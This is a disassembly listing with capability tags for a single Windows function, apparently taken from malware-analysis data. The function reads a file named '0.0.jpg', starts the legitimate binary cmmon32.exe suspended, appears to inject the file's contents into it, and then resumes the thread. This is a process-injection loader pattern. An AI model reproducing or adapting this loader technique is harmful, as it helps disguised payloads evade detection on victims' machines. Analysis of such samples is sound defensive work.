Function at 0x180007140
Capabilities:
Create process on windows
Create process suspended
Get file size
Read file on windows
Resume thread
Terminate process

Disassembly:
push rdi
sub rsp, 0x3c0
mov rax, qword [0x1800af640]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
mov dword [rsp + 0xa0], 0
lea rax, str.cmmon32.exe
mov qword [rsp + 0xa8], rax
mov rcx, qword [rsp + 0xa8]
call fcn.180007080
movzx eax, al
test eax, eax
je 0x180007195
xor eax, eax
jmp 0x180007507
mov edx, 0x104
lea rcx, [rsp + 0x1a0]
call fcn.180044474
test rax, rax
jne 0x1800071b6
mov eax, 1
jmp 0x180007507
lea rdx, [rsp + 0x1a0]
lea rcx, [rsp + 0x180]
call fcn.180002a60
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0xb8], rax
lea r8, str.0.0.jpg
mov rdx, qword [rsp + 0xb8]
lea rcx, [rsp + 0x160]
call fcn.180004dd0
nop
lea rcx, [rsp + 0x180]
call fcn.180004080
nop
lea rcx, [rsp + 0x160]
call fcn.180008550
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0xffffffffffffffff
jne 0x180007274
mov dword [rsp + 0x68], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x68]
jmp 0x180007507
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x50], eax
cmp dword [rsp + 0x50], 0xffffffff
jne 0x1800072b7
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov dword [rsp + 0x6c], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x6c]
jmp 0x180007507
mov eax, dword [rsp + 0x50]
mov ecx, eax
call fcn.18003b41c
mov qword [rsp + 0xc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x70]
mov r8d, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180007308
mov eax, dword [rsp + 0x50]
cmp dword [rsp + 0x70], eax
je 0x18000734e
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xc8], rax
mov rcx, qword [rsp + 0xc8]
call fcn.18003b424
nop
mov dword [rsp + 0x74], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x74]
jmp 0x180007507
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0xf0], 0x68
lea rax, [rsp + 0xf8]
mov rdi, rax
xor eax, eax
mov ecx, 0x60
rep stosb byte [rdi], al
lea rax, [rsp + 0x88]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsSysWOW64cmmon32.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x180007407
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd0], rax
mov rcx, qword [rsp + 0xd0]
call fcn.18003b424
nop
mov dword [rsp + 0x78], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x78]
jmp 0x180007507
mov eax, dword [rsp + 0x50]
mov r8d, eax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x88]
call fcn.180009350
movzx eax, al
test eax, eax
jne 0x18000748e
mov edx, 1
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd8]
call fcn.18003b424
nop
mov dword [rsp + 0x7c], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x7c]
jmp 0x180007507
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
call fcn.18003b424
nop
mov dword [rsp + 0x80], 1
lea rcx, [rsp + 0x160]
call fcn.180004080
nop
mov eax, dword [rsp + 0x80]
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.18003b3d0
add rsp, 0x3c0
pop rdi
ret